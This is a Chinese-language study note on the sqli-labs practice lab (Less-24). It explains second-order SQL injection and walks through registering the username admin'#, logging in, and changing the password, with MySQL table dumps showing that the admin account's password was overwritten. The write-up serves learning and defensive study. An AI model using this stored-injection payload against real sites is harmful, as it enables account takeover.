之前学习了一遍 sqli-labs,这是巩固复习一遍,代码全部手敲,加深印象
二次排序注入
原理介绍
简介
二次排序注入也成为存储型的注入,就是将可能导致 sql 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以出发 sql 注入。
思路
黑客通过构造数据的形式,在浏览器或者其他软件中提交 HTTP 数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的 SQL 语句或者命令。
服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
黑客向服务端发送第二个与第一次不相同的请求数据信息。
服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的 SQL 语句或者命令在服务端环境中执行。
服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。
Less-24 二次排序注入
测试
在用户注册页面
在 Desired Username 输入 admin’#
在 password 输入 123
在 Retype Password 输入 123
注册之后
查看数据库发现
MySQL [security]> select * from users; +----+----------+------------+ | id | username | password | +----+----------+------------+ | 1 | Dumb | Dumb | | 2 | Angelina | I-kill-you | | 3 | Dummy | p@ssword | | 4 | secure | crappy | | 5 | stupid | stupidity | | 6 | superman | genious | | 7 | batman | mob!le | | 8 | admin | admin | | 9 | admin1 | admin1 | | 10 | admin2 | admin2 | | 11 | admin3 | admin3 | | 12 | dhakkan | dumbo | | 14 | admin4 | admin4 | | 15 | admin'# | 123 | +----+----------+------------+ 14 rows in set (0.00 sec)
使用新注册的用户登录
在登录页面
在 username 输入 admin’#
在 password 输入 123
登录之后可以更改密码
在 Current Password 输入 123
在 New Password 输入 aaaaaaa
在 Retype Password 输入 aaaaaaa
查看发现
明明是 admin’# 用户登录改的密码,缺钙了 admin 的密码
MySQL [security]> select * from users; +----+----------+------------+ | id | username | password | +----+----------+------------+ | 1 | Dumb | Dumb | | 2 | Angelina | I-kill-you | | 3 | Dummy | p@ssword | | 4 | secure | crappy | | 5 | stupid | stupidity | | 6 | superman | genious | | 7 | batman | mob!le | | 8 | admin | aaaaaaa | | 9 | admin1 | admin1 | | 10 | admin2 | admin2 | | 11 | admin3 | admin3 | | 12 | dhakkan | dumbo | | 14 | admin4 | admin4 | | 15 | admin'# | 123 | +----+----------+------------+ 14 rows in set (0.00 sec)